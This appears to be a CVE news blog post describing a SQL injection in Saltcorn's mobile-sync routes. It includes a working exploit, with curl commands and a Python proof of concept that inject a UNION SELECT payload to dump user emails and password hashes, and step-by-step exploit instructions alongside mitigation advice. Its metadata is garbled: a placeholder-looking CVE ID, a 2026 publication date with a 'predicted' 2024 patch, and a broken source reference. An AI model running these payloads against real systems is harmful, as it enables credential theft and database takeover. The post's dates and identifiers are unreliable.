Saltcorn, SQL Injection, CVE-2024-0000 (Critical)

Listen to this Post

How the CVE Works

The vulnerability exists in Saltcorn’s mobile-sync routes (POST /sync/load_changes and POST /sync/deletes). The `getSyncRows()` function (lines 68–100 in packages/server/routes/sync.js) takes the `maxLoadedId` parameter directly from `req.body.syncInfos

` without any sanitization, <code>parseInt()</code>, or parameterized binding. This user-controlled value is interpolated into a SQL template literal passed to <code>db.query()</code>. Similarly, `getDelRows()` (lines 173–190) interpolates `syncTimestamp` and `syncFrom` from `req.body` into raw numeric expressions. The `db.sqlsanitize()` function is only used for identifiers (table/column names) and does not escape values. Any authenticated user with `role_id ≥ 80` (default “user” role) and read access to at least one table can inject arbitrary SQL. On PostgreSQL, this allows reading, writing, or DDL commands; on SQLite, multi-statement injection may be possible. Proof-of-concept scripts demonstrate dumping the entire `users` table (including bcrypt password hashes) and enumerating the database schema via a `UNION SELECT` payload in <code>maxLoadedId</code>. The `load_changes` route lacks any input validation beyond the `loggedIn` check.

<h2 style="color: blue;">DailyCVE Form</h2>

Platform: Saltcorn
Version: All vulnerable
Vulnerability: SQL injection
Severity: Critical
Date: 2026-04-16

<h2 style="color: blue;">Prediction: Patch 2024-05-15</h2>

<h2 style="color: blue;">What Undercode Say:</h2>

[bash]
Extract CSRF token and exploit SQL injection
curl -c cookies.txt http://localhost:3000/auth/login
csrf=$(grep _sc_globalCsrf cookies.txt | cut -f7)
Payload to dump users
payload='999 UNION SELECT 1,email,password,role_id,id FROM users--'
curl -X POST http://localhost:3000/sync/load_changes \
-H "CSRF-Token: $csrf" -H "Content-Type: application/json" \
-b cookies.txt -d "{\"syncInfos\":{\"notes\":{\"maxLoadedId\":\"$payload\"}},\"loadUntil\":\"2030-01-01\"}"
Python PoC (as in )
import requests, re
s = requests.Session()
... login and CSRF extraction
payload = "999 UNION SELECT 1,email,password,role_id,id FROM users--"
body = {"syncInfos": {"notes": {"maxLoadedId": payload}}, "loadUntil": "2030-01-01"}
r = s.post(f"{BASE}/sync/load_changes", json=body, headers={"CSRF-Token": csrf})
print(r.json())

How Exploit:

1. Authenticate as any low-privilege user (role_id=80).

  1. Extract CSRF token from the login page and after login.
  2. Send POST to `/sync/load_changes` with `syncInfos[bash][maxLoadedId]` set to a SQL injection payload (e.g., 999 UNION SELECT ...).
  3. The server embeds the payload directly into the SQL query, returning arbitrary data from the database.
  4. Repeat to dump schema, admin hashes, or execute write operations (PostgreSQL).

Protection from this CVE

  • Upgrade Saltcorn to a patched version (check vendor advisory).
  • Apply input validation: use `parseInt()` or parameterized queries for `maxLoadedId` and timestamp fields.
  • Replace string interpolation with prepared statements or an ORM that enforces binding.
  • Restrict mobile-sync routes to trusted roles only (e.g., admin).
  • Monitor logs for unusual `syncInfos` payloads containing UNION, SELECT, or DROP.

Impact

  • Confidentiality: Critical – full database read (user hashes, config secrets, all data).
  • Integrity: Critical – on PostgreSQL, attacker can insert, update, delete, or drop tables.
  • Availability: Critical – database corruption or table drops.
  • Privilege Escalation: Admin password hashes exfiltrated → offline cracking grants admin access.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top